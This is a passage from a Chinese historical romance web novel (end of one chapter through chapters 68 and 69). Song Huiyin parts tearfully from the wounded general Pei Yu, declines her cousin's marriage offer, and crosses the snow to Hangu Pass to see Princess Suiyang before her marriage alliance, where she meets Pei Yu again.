徽音问:“他为什么不肯好好养伤?” 驰厌:“少将军醒来时就要去找你,谁都拦不住,那天下着暴雨,他得知你离开长安的消息,在雨里待了很久。” 徽音知道那场雨,是她刚离开长安不久就落下的,雨势很大导致山体滑坡,她还被迫停留了一日。 驰厌打量着徽音的脸色,可他什么都没看出来,没有生气更没有担心。他不禁为少将军感到有些不忿,语气也有些重,“他醒来后,用了猛药才能下地,一下地就马不停蹄的来找你,昼夜不休,这才加重了伤势。” 徽音听出他话里对裴彧的维护,人都会偏心亲近之人,这没有错。她也没说什么,毕竟裴彧这伤是替她受的,细算下来,若是她受了这刑,恐怕早就没命可活,裴彧也算是救了她的性命。 如今他伤势复发,危在旦夕,她也没办法坐视不理。何况驰厌有一句话没有说错,裴彧若是真有个好歹,皇后怪不怪罪她不知道,裴夫人肯定不会放过她。 驰厌驾车的速度又稳又快,很快两人就到了县衙,一路朝后院走。正房门口,那位郡守大人正擦着脑门上的汗,拽着一名大夫的手喋喋不休的说着些什么。 在他们远处,还聚着几个布衣大夫,神情严重的讨论着,时不时摇头叹息。徽音脚步加快,她原以为是驰厌夸大其词,没想到是真的如此凶险。她甚至都忘记了和郡守见礼,直接就进了房门。 这是徽音第一次看见裴彧如此虚弱的模样,额上冷汗淋淋,脸和唇苍白成一个颜色,双眼紧闭,人事不醒。 她走过去,苦涩的药味铺面而来,床榻边摆着好几碗乌黑的药汁。跟在她身后的驰厌见状道:“不论我用什么办法,少将军就是不肯吃药,咬紧牙关,灌都灌不进去。” 徽音坐到床沿边,看着裴彧咬紧的下颚线,缠满白布的上身,不禁有些怨恨他,为什么要在她拼尽全力将他忘记时,轻而易举打破她的防线。 徽音两只手握住裴彧的手掌,俯身靠过去蹭着他的手,难受道:“裴彧,我有时候是真的恨你。” 恨你,却又舍不下你,即使再不愿意承认,本能也会做出反应,她还爱着他。 她有些忍不住的埋下头,呜咽哭出声。要怎么形容这种感觉呢,父母离世后,她有很长一段时间都是行尸走肉,面上瞧着很正常,实际只有她自己知道。 如果不是复仇的信念支撑着她,她一定坚持不住会随他们而去。她就是这样一个胆小怯懦的人,初识裴彧的时候,她满心满眼的都是算计。 算计着该如何讨好他,麻痹他,达到自己的目的。 即使察觉到裴彧对她有意,她也是一直躲避不想正视自己内心,她害怕。 后来一切都偏离的轨道,她清晰的感知到裴彧那种热烈炽热的情绪,吸引着她,让她不自觉的想要回应。 在甘泉行宫中确认心意的那段时间里,是宋家出事以来她最开心的一天,让她忘却烦恼,放下一切做自己。 裴彧带给她的不仅仅是痛苦,还有快乐。 徽音泪眼迷蒙的抬头,眼泪滴在两人交握的手心,带起一片水痕。 她能感觉到裴彧手掌细微的动作。徽音轻声问:“裴彧,你能听见吗?” “你喝药好不好?” “我不想你死。” 徽音看见裴彧缓缓睁开眼,抚上她的脸颊,温热的指腹抹去她的泪痕。他躺了很久,声音沙哑不堪。 可徽音还是无比清晰的听清他说了什么,他说,“为什么我带给你的总是眼泪?” 其实他想问的是,难道在我身边,你就如此痛苦,一点都没有幸福吗? 徽音再也忍不住哭出声,她蹭着裴彧的手掌,眼泪波涛汹涌的往外流,连话都说不出来。 她很想说,不是的,在你身边我很开心真的很开心,她曾经是真真正正的想过和裴彧的以后,想和他过一辈子的。 裴彧手心全是徽音的泪水,热意一路传到他的心底,让他浑身僵硬。他努力的支起身体,将徽音抱在怀中,无奈叹息,“别哭了,这次我都听你的,我不会再打扰你了。” 徽音屏住气息,眼泪流得更凶。她回抱住裴彧,咬紧牙关死死埋他在肩侧,发出小兽般的呜咽声。 她不明白,明明这一切是她求来的,我怎么她会这么伤心难过。 裴彧艰难的抬手摸着徽音的发,贪恋这最后一抹暖意,“我听你的回长安,你一个人在这里要好好的。” “要是遇上难事,就找人给我传信,”他顿顿了,自嘲笑道,“你大约只会找王寰和冯承,不会找我。” 徽音默默流泪,拽紧他的衣摆,她鼻尖都是裴彧身上的药膏味,中间还掺杂着淡淡的血腥气。 裴彧侧头贴着徽音,痛苦的闭上眼。他是真的没有办法了,不知道该拿徽音怎么办。纵然他可以强硬的带着徽音离开,可她的性子他比任何人都清楚。 宁为玉碎不为瓦全,他要是真这么对她,只会逼死她。 裴彧受不了徽音的眼泪,他总以为徽音跟他在一起才是最好的,只有他才能给她幸福。 刚刚醒来的那一刹那,看见徽音坐在床边,他心中涌上一股难以名状的喜悦,可下一刻却看见徽音满脸泪痕,痛苦的哭泣。 他好像一瞬间从天堂落到地狱,细想起啦,徽音在他身边好像没有开心的时候,她总是在哭。 裴彧不想看见她眼泪,也许他从此消失在她的面前才是对她最好的事情。 他松开徽音,看见她眼皮红肿,连鼻尖都是红意。他抬手小心翼翼的擦干徽音的泪,艰难道:“回去吧,我没事,我会好好吃药的。” 徽音甚至都不敢抬眼,她怕一看见裴彧就忍不住眼泪,她沉默的点点头,起身走到门口。 期间,裴彧的眼神一直追随着她,看见她要迈出门口的那一刻,他麻木的心脏大力的开始跳动,血液凝聚在脑中,意识无比清醒。 徽音真的要走了。裴彧有些抑制不住的转头,紧紧咬着牙关,好像有什么东西从他的脸颊滑落。 他抬起指尖去摸,才发现那是泪。 徽音停在门口,颤声道:“你要保重。” 她没有听见裴彧的回答,只听见屋内细小的吸气声。 两人心中都清楚,这也许是他们此生见的最后的一面。 裴彧盯着门外看了很久,久到眼眶发涩,身体再度滚烫起来。他捂住眼,无措的低下头。 —— 徽音一个人走出县衙,门口的阳光刺眼,她才想起来,她来县衙还得去见见郡守,问问颜家是事情。 她转身朝里走,看见驰厌快速朝她走,拱手行礼,“宋女郎,少将军吩咐我送你回去。” 徽音眼皮有些肿痛,她单手覆在眼上,声音沉闷,“我还有些事要找郡守大人。” 驰厌:“是为了颜家的事吧?” 徽音点头。她听见驰厌道:“少将军已经将那张县尉的罪行送往长安,不日,长安将会另外指派一名县尉来此,这人与裴府亲厚,女郎遇事可直接找他。” 徽音喉间哽塞,裴彧替她安排好了一切,他解决掉张县尉,颜家困境可解。又担心她会受旁人欺负,特意安排亲信前来此处任职。 她闭上眼,“替我好生谢过裴将军。” 徽音满身疲惫的回道小院,颜氏父子在院中等了她许久。 她走上去,唇角上扬,“张县尉作恶多端,已经下狱,不日朝廷将会派人来上任。颜家无事了。” 颜宵放下心,舒出一口气,想要重提婚事事却被身侧的颜昀章拦下。颜昀章对父亲摇摇头,示意他不要提。 颜宵面露迟疑,见徽音一脸倦容从县衙回来,再联想起昨日喜堂之上的那位将军,心中明白了几分。 “徽音啊,你好生休息,舅父明日再来看你。” 徽音打起精神来送走他们,她甚至连走回房间的力气都没有,浑身无力的坐在阶梯上,地板的凉意席卷她全身。 她合上眼仰靠在廊柱上,目光放空落不到实处,双手环抱住自己。 颜娘提着壶热茶坐到徽音身边倒了杯热茶过去,“马上入了冬了,你还病着,喝口茶暖暖吧。” 徽音接过茶盏捂在手中生热,春日里救贺佳莹时跳的那场湖,后遗症终于在此刻显现出来。 身体虚弱不说,还未入冬,她手脚就已经冰凉,明明穿了很多,身体依旧捂不热。 颜娘没说什么安慰的话,她跪坐在徽音身边,无声的陪伴她。过了很久,她听见徽音问她,“傅母,其实我们两个人就这样过也挺好的,我不想和颜昀章成亲了。" 颜娘轻柔的摸摸徽音大发,笑道:“奴婢也这样觉得,要是多了个姑爷,奴婢都不知道该怎么做了。” 徽音慢慢靠过去,枕在颜娘肩上,看着骄阳一点一点被乌云吞噬,天色暗沉起来,阴风刮得她脸一阵生疼。 她闭上眼,难得的放松下来。 第二日清晨,徽音接到裴彧和郡守已经离开宛县的消息,除此之外,还收到宋修吾和宋乔勾结张县尉鱼肉百姓,横行乡里,也已被下狱的消息。 宋家族人生怕这把火烧到自己身上,一大早就找徽音这里,求她指条明路。 徽音初时诧异了几分,忽而又笑起来,她原本的计划是拿出一部分财帛收买族中其他人,拉拢到她这边拉宋修吾下台,换个亲近她的族长,只是没想到还没来得及动手,就被裴彧抢了先,还将这人情卖给了她。 她将宋家人都接进来,好生安慰一番,告诉他们宋修吾和宋乔的罪行并不会牵连族里,为今之计是要再选一位族长站出来主持大局。 听闻此话的几人心思瞬间浮动起来,试探的问徽音可有属意之人。 徽音微笑:“我只是小辈,族内的大事我不好插手,还是族老们决定吧。” 族老们哪敢随意定人,那长安来的大官连郡守都要捧着,轻而易举的就将张县尉撸了下去,据说新上任的县尉还是他的亲信,这摆明了是要护着徽音。 几人商量片刻,其中一位族老上前道:“方才我等商量过,决意推举九族老为族长,你觉得如何?” 这为九族老就是宋平的祖父,平素在族中很是低调,但为人处事公允,很受族内推崇。不过他家资不丰,在族内地位并不高。 至于这些为什么要选他,徽音心知肚明,她离开颜府后叫人送了宋平一份礼,感谢他那日替自己引路,许是让他们觉得她有亲近宋平一家之意。 徽音对谁当选族长没有意见,她只说了一句:“我只希望从今以后,族内不要插手我家的事,任何事情都不行。” 九族老和其他人对视一眼,点头应允,“你放心。” 他们走后,徽音望着北边出神,他伤势还未好,就这么上路,会不会再度复发。 “女郎,颜郎君来了。”颜娘在外通传。 徽音收回思绪,出去见颜昀章。颜昀章还是和从前一样,只是脸色有些苍白,一只手捂在胸口微微咳嗽,徽音面露愧意,若不是因为她,颜昀章也不会受伤。 她轻声问:“表兄,你的伤势好些了吗?” 颜昀章苦笑着摆摆手,“无碍。” 徽音请他进屋入坐,颜昀章没动,他笑容很是勉强,眼神里的光芒不再明亮,“我今日是来同你聊婚事的。” “抱歉,表兄,我们的婚事还是作罢。” 徽音垂下眼,她知道说这些很对不起颜昀章,可经历这些事情后,她不会和裴彧在一起,却也接受不了颜昀章。 纵然她嘴上说的如此狠心,斩钉截铁,心是不会骗人的,她还爱着裴彧,拒绝颜昀章也不是想要为裴彧守身,她只是暂时没有办法再去面对另一个的情意,也许这个人他并不在意。 颜昀章从裴彧出现开始心中就隐隐不安,对于那个男人他是自卑的,他和徽音之间的过往和情意也不是他能插足的。 可他就是抱有着希望,徽音拒绝了裴彧,是不是会考虑考虑接受他。所以他不想放弃,他还想争取一番。 “徽音,我知道你现在心里很乱,我可以等你,等你愿意接受我的那一天。” 徽音坚定的摇摇头,“表兄,我接受不了。” 往后许多事情都无法预料,她不知道自己会不会爱上颜昀章。也不知道颜昀章会不会要求她回应同意的感情。 徽音真的有些累了,颜昀章和王寰是一样的,他们的感情或多或少都给她带来了,一定的负担。她回应不了,也不想耽误他们。 颜昀章双手捧住脸,声音埋在手中,徽音心中也不好受,她转过身背对颜昀章表面自己的态度。 颜昀章擦干泪,哽咽道:“你以后还会把我表兄吗?” 徽音:“颜家是我舅家,你是我的表兄。”也只是表兄。 颜昀章整理好面容,转身朝外走,出门时脚步不由的停住,忍不住回头去望徽音。 徽音依旧背对着他,秋风吹起她的裙裾,清冷出尘。从一开始就是他抱有奢望了,徽音她不属于任何人,不属于裴彧,也不属于他,她只属于自己。 第68章 再遇 两个月后, 雪色为大地裹上一层新衣,鹅毛大雪覆盖住这座江南小院,院中的红炉咕咕作响, 墙角的木架上挂着数十串新灌的腊肠,辛香被寒风送到屋内。 徽音裹成圆滚滚的掀开毛毯帘出门, 坐在摇椅上喝茶看雪景,炉子旁的铁网上还摆着几个香喷喷的烤栗子。 有名闲富贵,无事小神仙。 颜娘端着一碗热气腾腾的药汤走过来,徽音闻见那古怪的味道就胃中不适, 这是颜娘特地找的古方给她养身的药汤。 确实有些效用,入冬后能明显感觉到身上发暖, 夜里睡觉也能少放一个炭盆, 只是这味道实在是难以入口。 徽音皱着鼻头,假装没看见的倒在躺椅上装睡, 颜娘好笑的瞅了眼她还在颤抖的睫毛,当的一下将药汤搁下,“不喝汤就不能出门,老实在屋内待着避免受凉。” 徽音认命的睁开眼,捏着鼻子一饮而尽, 古怪的药味在口腔里炸开, 她眉间紧皱在一起, 塞了颗果脯才压下口中的怪味。 颜娘递块干净的帕子过去, 哄道:“这个月喝完就好, 没剩几天了。想吃什么, 我让厨娘去做?” 徽音缩回躺椅上,双手钻进暖烘烘的大氅内,张口接过颜娘喂的栗子肉嚼着, 含糊不清道:“想喝鲜鱼汤。” 颜娘继续剥着栗子,闻言点头道:“河庐那边今早捞起一筐鲜鱼,奴等会去买两条,等会就去吩咐厨娘做出鱼汤。” 徽音笑眯眯道:“那傅母顺带帮我去南街铺子那边取一下新订的首饰。” 颜娘开心的应答,提着竹篮出了门。这两个月来,她说眼瞧着徽音状态越来越好,甚至有些恢复到宋家还未覆灭的时候。 每天胃口极好,原本消瘦下来的身体渐渐养好,气色红润,脸上笑意也变多了起来。 更重要的是,她不再一个人默默待着发呆,时不时就带着颜娘出去串门,颜家和宋家的两头跑,还经常去街口的说书先生那里坐坐。 颜娘看着竹篮里活蹦乱跳的鲜鱼,嘴边不自觉的带上笑意,这两个月来,是她们这一年最松快的时候。 徽音躺在摇椅上,闻着灶屋里散发的鲜香味,舒服的陷进软衾中,她喜欢吃鱼,尤其爱鲜鱼熬煮出来的汤,鲜美可口。只可惜,她到最后都没喝上那碗汤。 宫中来人了,更准确的说来的人是睢阳公主的内侍,宛县这座小县城里,短短三个月内就来了两位大人物。 内侍说,公主和亲之日已定,她想在离开南朝前见一见故人。 徽音拿着睢阳的手书,上面只写了三个字,函谷关。 宛县消息不灵通,加之她刻意回避长安那边的消息,并不知睢阳婚期已定,即将出关和亲。 她对那内侍笑笑,“烦请稍待。” 车架走的很快,和亲的队伍会在函谷关停留三天,再护送公主一路往代郡而去。 颜娘把徽音的双脚捂在怀中,她的脚冰冰凉凉的,冷得颜娘一哆嗦。 徽音蜷缩在毛毯里,这马车是临时置办,内里没有缝制防风保暖的布料,一路上颠簸不堪,处处漏风。 颜娘看着徽音在毛毯内摇摇晃晃,东倒西歪的模样,好笑又心疼,“要不奴去说说,叫他们慢点?” 徽音忍住胸口的恶心,无奈的叹气,“不必,我也担心赶不上。” 好不容易在夜间赶到了官驿站,避免了寒冬里露宿野外惨状,只是这个驿站说是驿站,实在就是几间屋子围起来的四合院,连地龙都没有铺设。 徽音脸被碳火烤得通红,手中拿着块干硬的面饼吃着,一双眼眸却锁在碳炉上的水壶里。 这面饼干硬至极,她只感觉嗓子噎得慌,食之无味,弃之可惜,此刻无比怀念那碗鲜美的鱼汤。 颜娘在一堆有缺口的碗里翻出一个完好无损的放到徽音面前,又在碗里撒了点盐巴,兑上热水一冲,也比那无滋无味的热水要好一些。 徽音端起盐水小口的喝着,余光注意门外的动静,距离函谷关还有二日的路程,天寒地冻的,护送的人正在驿站内补给。 不知为什么外面动静大了起来,有些吵吵声,颜娘在徽音的示意下走到门口,双手裹在袖中探头去查看动静,铺天盖地的雪花迎面吹来,吹得她睁不开眼。 护送她们两人的几个护卫站在驿站的院中,面前还有一个裹得厚实的男人,操着一口乡音,指着北面后比划些什么,神情激动。 她回了屋,凑在徽音面前嘀嘀咕咕一阵,那男子说的是乡音,她只听清几个词,说是雪崩了,大雪封山。 没过一会,领头的侍卫就一脸风雪的走进来,一脸难色,“宋女郎,此地乡民说前面大雪封山,车马难行。” 徽音:“可有其他路能绕过去?” 那人摇摇头,距离此地最近的一条路绕到函谷关都要五日,更别说在这种风雪交加的极寒天气下,大雪封路,有些路段寸步难行。 徽音让颜娘倒了杯热茶给他暖暖身,这一路走来,她和颜娘还能坐在马车内避风雨,这些护送他们的人只能穿着蓑衣,脸上手上都布满了冻伤。 她起身来到门口观望天色,风雪呼呼往她衣领子里倒灌,徽音掖紧衣角,眉头紧皱。 观这星象,这场大雪至少也要三日后才能停歇。若等雪停再动身,和亲车队必然已经离开函谷关,她也见不上睢阳。 她回身问:“若是弃车而行,可否能行?” 侍卫点点头,“我等可护送女郎过去,等过了这山,再去城镇里寻车。” 徽音拍板:“那你们就去准备吧,明日正常上路。” 他离开后,颜娘一脸不赞同的上前,“这大雪日,坐在车内都寒冷异常,何况弃车而行,你这身子骨如何能受得住。” “傅母,我不是瓷娃娃,我可以的。”徽音抱住颜娘的臂膀撒娇。 她是一定要去见睢阳的,睢阳自幼和她亲厚,待徽音也如同亲姊。何况,这也许这是她和睢阳此生最后一面。公主为国家舍弃自身,徽音敬佩她,若见不到这一面,此生都悔。 颜娘也明白这个道理,动了动嘴,不知道该如何劝慰。 徽音拉着颜娘坐下,搓手哈气,“你就在这里等我,等我回来找你。” 颜娘生气的别过脸,拿起铁叉搅弄炭盆,火花四溅,“你要去我不阻拦,但你不带上我,不能够。” 徽音抱住颜娘的手臂,凑过去眨巴着眼,一双眼眸明亮耀眼,“太冷了,你可不能受这个罪。” 颜娘紧紧闭上眼,双手捂住耳朵,脑袋摇得跟拨浪鼓一样,一副绝不妥协的样子。徽音没办法,只好应下她跟着的请求。 翌日一早,一行人穿着厚实防风的布棉衣,连马匹的腿背都裹上棉布,防止路上冻死。 徽音全身上下都被裹住,连头上都被颜娘缠上厚实的围脖,微微低头就能将脸完全埋在围脖里。 她骑在马上,缰绳被侍卫牵着往前走。好在今日的风雪要比夜间小很多,走在路上也不难行,就是要注意防滑,避免摔倒。 随行的侍卫身上都带了几壶极烈的烧酒,冰天雪地里,喝上一口浑身都会烧起来。 徽音也没忍住喝了一口,辛烈的酒味在她嘴开,又辣又涩。她皱着眉头咽下去,脸上是一副从未有过的痛苦表情,惹得一群人哈哈大笑半天。 路途虽远却也不难捱,一路上都听着几个侍卫将他们曾在边关的事迹和风俗。 徽音这才知道,这群人都是从代郡退下来的老兵,之前都效力在裴家军中。而此次奉命护送睢阳公主和亲之人,正是裴彧。 时隔两个月再次听到他的消息,徽音的心尖还是颤了一下,她其实很不愿意再见到他,因为她不知道该以何种态度去对待裴彧。 更怕的是听见他身边已经旁人的消息。 到了下午,一行人才翻过雪山来到城镇,因为步行耽误了些时间,也来不及补给什么,只买了辆马车就开始赶路。 上了马车后徽音就一言不发的靠在车厢上,颜娘还以为她是受了寒,探了探额头才知她没事,单纯是心情不好,整个人都怏怏的。 颜娘猜到了几分,徽音是她一手带到大的,说句夸大的话,她心里想的什么,颜娘基本都能猜到。 她打开车窗,同窗外的的侍卫闲聊,“方才听你们说曾经效力于裴家军,那你可曾见过裴将军。” 那人年纪约莫三十上下,留着一圈络腮胡,眼角还有一道伤疤,瞧着有些渗人,声音却与其面容大为不同,听着像玉珠罗盘的清脆。 “不知你问的是大司马裴将军还是卫将军小裴将军啊?” 颜娘嘀咕两句,什么大将军小将军的,把她绕迷糊了,她往日里就是个家里长家里短的仆妇,哪里能知道这些官职。 徽音睫毛轻颤,接话道:“小裴将军,也就是你们的少将军。” 颜娘转头去看徽音,就见她一副心虚的模样不敢看她,双手无意识的摸着衣摆,一副我只是随便接话闲聊的样子。 只不过,她那通红的耳尖暴露出心中所想。 车外那人哈哈大笑,“少将军我自然是见过的,他第一次上战场就是和我同在一营。那时候,他就睡我旁边嘞。” 徽音装不下去,她凑到床边,寒风吹着她的嫩滑的脸蛋,刺得她生疼。她却顾不上这疼,连忙问,“他不是将军吗,怎会和你们同住一营?” 那人仰头饮了口烧酒,眯着眼睛渭叹,“他也不是一开始就做将军的。他虽是裴家军的少主,军中也有很多人不服他,那些老将如何能容忍一个毛都没长齐的小子跃到他们头上,权力谁不想要。” “他也有血性,一言不发就去了底层从小兵卒做起,同我们这些人混在一起,冲在最前面。” 他转过来,指着眼角那道伤疤笑嘻嘻道:“当年若不是他眼疾手快拉了我一把,我脑袋早就搬了家。” “我回长安这些年总听那些万事不愁的人说日子过得多难。每次听见我都嗤之以鼻,这些在长安养尊处优的人哪见过真正的地狱。” “代郡的风沙,草原的野马还有残酷的匈奴人,一个不留神,他们的弯刀就会轻而易举的割断你的喉咙,一场战役下来,整条小溪都会被染成血红,地上的残肢败腿分不清是你的还是兄弟的。” 徽音指尖捏住车窗,指尖渐渐泛白,她一直以为,他出身就拥有一切。地位、权势、财富,这些东西将他养成了高傲霸道的性子。 她问:“他也经历过这些吗?” “当然,代郡的兵谁没经历过这些。裴彧也一样,我至今记得他那双眼,像狼一样在也闪着光。第一次驻守外围的时候,我们被匈奴人夜袭,大家都慌了手脚,是他站出来主持大局,排兵布阵带我们杀退匈奴人。” “结束后大家才发现,他硬生生忍着肩上的一刀撑着没倒,也是那一仗他展露名声,开始在军中慢慢站稳脚跟。” 徽音手指已经冻得没有知觉了,唇色泛白,她退回车内,裴彧很少会跟她提在代郡的那五年。只有一次,他们在甘泉宫下山时,徽音曾窥探过一二。 她叹了口气,甩开脑中杂乱的思绪,不管裴彧从前如何,都和她没有关系了。等见过睢阳她就离开,尽量不要和他碰面。 奔波几日后,徽音感觉全身的骨架都快被颠散了,在她坚持不住的时候,函谷关终于到了。 颜娘扶着徽音下马车,函谷关的风比别处还要大些,她拿出围脖再次将徽音从上到下裹得严严实实,不留缝隙。 徽音艰难的低头打量自己,此刻的她像一个臃肿的圆球,全身上下只露出一双提溜转的眼睛,她敢打赌,熟人见她这副模样一定认不出来。 她这般想着,跟着内侍一路匆匆忙忙往函谷关口里面走。好巧不巧的,面前突然出现一队人马,领头那人就是她万分不想见到的裴彧。 徽音默默低下头遮住脸,她死也不会让裴彧见到她这副模样。 她拉拉领路内侍的衣袖,叮嘱道:“直接带我去见殿下,莫要节外生枝。” 内侍本打算上前去找裴彧见个礼,听得身后人那般叮嘱,他脚步拐回正道。 内侍心中不禁有些可惜,自以为不留痕迹的看了裴彧好几眼,他原本还想看看旧情人见面是个什么场景。 毕竟身后这两人的事迹现在还在长安广为流传,更重要的事,听说是宋女郎甩了裴将军,裴将军带伤一路追到宛县去被宋女郎狠狠拒绝,最后带着一身情伤黯然回京。 这其中的曲折,谁人不好奇。 裴彧从那边看过来的第一眼时就注意到了那边低头行走的三人,领路的那人一脸古怪看着他,眼里流露出一股莫名其妙的可惜? 他随意的扫了一眼,目光忽然顿住,盯着那个圆滚滚的身影久久不语。身侧的方木正在拿着地图给裴彧汇报路线,他等了许久也没得到裴彧的回话,不禁抬头去看。 就见他家少将军一副发呆的模样,盯着那边眼睛都不眨。方木跟着看过去,那边没什么奇怪的,只有三个人影,其中一个打扮稀奇,恨不得将被褥裹在身上。 他好笑的嘟囔:“这人谁啊,裹成这样,怎么不干脆披床被子出门。” 没有人理他。 方木挠挠头,再度跟着裴彧的视线看过去,突然发现那圆滚滚的身影后面跟着一个眼熟的人。 是颜娘!方木吃惊的张开嘴,颜娘是宋女郎的傅母,她出现在此地,那就说明前面那个人就是宋女郎! 他收回眼神揣摩裴彧的表情,难怪这两日少将军总是要带着他们出关巡查,这函谷关周围都被排查了个遍,哪有什么威胁。 暖和的屋子不爱待,原来是醉翁之意不在酒啊。方木一脸贼色的搓搓手,上次去宛县是驰厌陪着少将军去,驰厌就是个木呆子,哪有他方木对付女人有心得。 想到这些时候少将军总是魂不守舍对着南边发呆,他嘴唇翘得老高,抬起手用力的挥着,气沉丹田大喊:“宋女郎!我们在这里!” 风声将这声包含情谊的呼唤送进徽音耳里,她努力忽视装作没听见一样,催促着内侍赶紧离开。 “宋!女!郎!宋!徽!音!” 徽音:“……” 她僵硬的停下脚步,忽而感觉整个函谷关的人视线都落在她身上,犹如实质。 名字被人当场叫破,徽音再如何脸皮厚也不能当着这么多人都的面偷偷溜走。 她尴尬的笑笑,转身朝裴彧那边走去。 方木那小子还摇着手臂,一脸笑嘻嘻的望着她,大喊:“真的是你,宋女郎,你怎么穿成这样。” 徽音一把拉下头上的围脖,大步走上前,狠狠瞪了眼方木,若无其事的朝裴彧行礼,“裴将军。” 裴彧目光落在她脸上,很快又收回去,他淡淡应了一声,没再说其他的话。 徽音心下微松,打算说些告退的话离开。却见方木又道:“宋女郎,你是生病了吗?怎的穿成这样。” 裴彧的目光再度落在徽音身上,不过这次他看的不是她的脸,而是她身上那件宽大厚实打着补丁的棉衣。 徽音绝望的合上眼,她这身棉衣路上不小心被划破几道口子,一时之间没有找到合适的针线,颜娘凑了几块其他的碎布缝制了几下。 这棉衣暖和舒适,反正一路上也没什么熟人,她就裹在了身上。徽音皮笑肉不笑的回道,“没生病,我怕冷。” “怕冷?少将军正好新得件了上好的大氅,又漂亮又舒适,是不是啊少将军。”方木拿肩膀轻轻的撞击裴彧,一脸挤眉弄眼。 裴彧微微点头,抬手吩咐人去取来。 徽音连忙摆手,“不必了,我不需要。” 方木“害”了一声,“宋女郎,函谷关风大,你就接着吧,这大花袄确实有点那啥了。” 徽音默了默,忽觉身侧有细碎的笑音。她微微侧头,发觉颜娘已经笑眯起眼,见她看来抬手捂住唇,只是那眼底的笑意清晰可见。 她无奈的点点头。裴彧却在这时走到她的身边,轻声道:“我带你去找殿下。” 徽音抬眼,也看清了他眼底的笑意。刚刚收了一件大氅,总不能立马翻脸不认人。她生气的扯了扯身上的棉衣,心想回去一定给它扔了。 两人一前一后的往函谷关的阙楼上走,中间隔着一臂宽的距离,形容陌路人。 上了二楼,有人捧着一个漆盘,上头放着一件玄黑的大氅,并非纯然的黑,而是一种深湛到极处的青黛。边缘滚着一圈上好的紫貂毛,色泽是乌紫,蓬松暖和。 裴彧取下大氅,抖开在徽音面前,微微抬手想要替她披上。 徽音后退两步,平静的拒绝,“多谢裴将军,我自己来。” 裴彧表情不变,将大氅放回漆盘,自觉的负手转过身。徽音望着他的背影,微微松了口气,不知为何现在的裴彧给她感觉有些害怕。 他甚至都没开口,面色也很平静,只是站在那里看她一眼,就让她心里发毛想要躲避他,这种侵略感比以前明显太多了。 徽音解开棉衣上的系带,露出曼妙修长的身姿,她里面穿着一件霞光色的修身曲裾,让人一眼就从凛冽的寒秋沉溺于秋日的温柔中。 阙楼上的冷风吹得徽音小声的抽气,她接过大氅裹在身上,保暖厚实的热意瞬间席卷全身,颈脖处软软的貂毛异常柔软。她很喜欢这件大氅。 “我好了,我们走吧。” 裴彧听闻转身,盯着徽音贪婪的看了两眼,一改方才的冷淡自持,一步步逼近徽音。 徽音蹙起眉心,慢慢后退靠至墙上,无路可走。她盯着裴彧,眼中含怒,“你想干什么?” “你敢乱来当心我对你不客气。” 裴彧不吭声,抬起手摸向徽音的脸蛋。 “啪——”力气不大声音却很响亮。 徽音看着裴彧被打歪的脸,垂下的手微微发抖。 裴彧的脸被那一巴掌打得微微偏过去,面上不是一股火辣辣的感觉,徽音的手冰冰凉凉的,他根本没感觉到痛。 他摸了摸脸,忽而笑了一下,舌尖抵着下颚。 徽音看见他眉间若有若无的笑意,一股气憋在胸口出不来,她再也待不下去转身离开。 手臂被人拉住,一股不容置疑的力道将她摁回原地,裴彧再度低头凑上来,伸手将她裹在大氅里的头发笼出来,细心的整理好。 裴彧收回好,面色冷淡,“好了,走吧。” 徽音脸上迅速生热,她甚至不敢抬头看裴彧一眼,低着头跟在他身后,右手无意识的蜷缩。 不能怪她,是他自己动手动脚,挨一巴掌不亏。 第69章 两个月的自欺欺人抵不过…… 睢阳住在阙楼正南面的屋内, 此处是临时给公主落脚所用,屋子并不大。徽音被宫婢引领着进屋,扑面而来的暖意熏得她忍不住打个喷嚏。 宫婢上前替她退下大氅和鞋履, 带着她朝内室走去。徽音注意到这屋里侍候的宫婢都是生面孔,曾经睢阳跟前的宫婢一个都没见到。 只有那位面容严肃的嬷嬷一如既往的还在, 朝她点点头。 徽音礼貌的回礼。 她跟着婢女走近内室,瞧见睢阳穿着一身鹅黄寝衣站在床侧,头发披在身后,眼神温润, 一副刚睡醒的模样。 她上前行礼,“殿下, 妾扰了您休憩吗?” “没有, ”睢阳见了徽音露出多日以来的第一笑容,她拉着徽音坐在床边, 一如从前那样含笑道:“我等阿姊好久了。” 徽音看着她的笑容心中难受,她捧着睢阳的手小心的握着,不敢开口。 睢阳趴在徽音的肩上,嗅着她身上的清香,开心道:“我很开心阿姊你能来见我。” 徽音憋回眼泪, 从袖中取出一个玉罐递给睢阳, “这是我送你的礼物。” 睢阳打开玉罐, 里头是一捧新鲜的泥水, 微微散发土腥味。 她紧紧握住玉罐, 眼中含泪:“我很喜欢, 谢谢你。” 如果有一日,她再也回不来南朝,只能葬在草原上, 身边有这么一捧故土陪着,也算是些安慰。 “阿姊,你今夜与我睡在一处可好,我有好些话想同你说。” 徽音应下。这一日里,她和睢阳都没有出房门,两人聚在一起窃窃私语,谈天说地。 徽音问及睢阳身边为何都是一些面生的婢女,睢阳仰头在床上,卷着被子道:“我去匈奴没有选择,但我想她们应该可以选,我不强求。” “然后呢?”徽音问。 睢阳努力装出一副无所谓的样子,笑道:“她们都不愿意,这是人之常情。我就让母后在宫中下令寻找愿意跟我去匈奴的,好生补偿她们的几人。” 徽音摸摸她的头,无声安慰。 睢阳依旧很好奇怪徽音和裴彧之间的内情,她眨着眼询问徽音,满是好奇之色。徽音也有些想吐露心事,遂把和裴彧之间发生的一切一五一十的说给她听。 说到最后已经是深夜,除了函谷关哨岗处的灯还亮着,也就剩她们这处了。睢阳趴在软枕上哭得满面通红,鼻尖一抽一抽的,好不可怜。 徽音一脸无奈,拿着帕子替她擦着泪问,“我都没哭,你怎么哭成这样。” 睢阳泪眼婆娑,紧紧抱着徽音,鼻涕眼泪全部蹭在徽音的衣领上,呜咽道:“我不知道,我就是很难受,心中说不出的难受。” “莫哭了,”徽音轻拍她的肩膀,轻声道:“睡吧,明日一早就得出关了。” 睢阳抱着被子乖乖点头,乖巧的躺在床上看徽音下去熄灯,两人躺在一处,都没有睡意,心思各异。 徽音想着白日那巴掌有些不好意思,裴彧好心帮她整理头发避免失礼,她却不分青红皂白的给了他一巴掌,实在是有些过分。 她缓缓合上眼,想着要不明日离开前去道个歉。又觉得不用,反正两人以后也见不到了。 屋子里的炭盆烧得正旺,徽音甚至久违的感受到到燥意,她悄悄伸出一只腿放在被子外,缓解热意,将要熟睡过去时听见睢阳的声音。 “阿姊,你和表兄还会和好吗?” 徽音掀开眼皮,困倦的意识陡然清醒,这个问题这些时日她也问过自己很多次,每次的答案都是,“不会。” 她不会再和裴彧和好了,有些感情埋在心底才是最好的,回味的起来的时候心中永远都是彼此最好的样子。 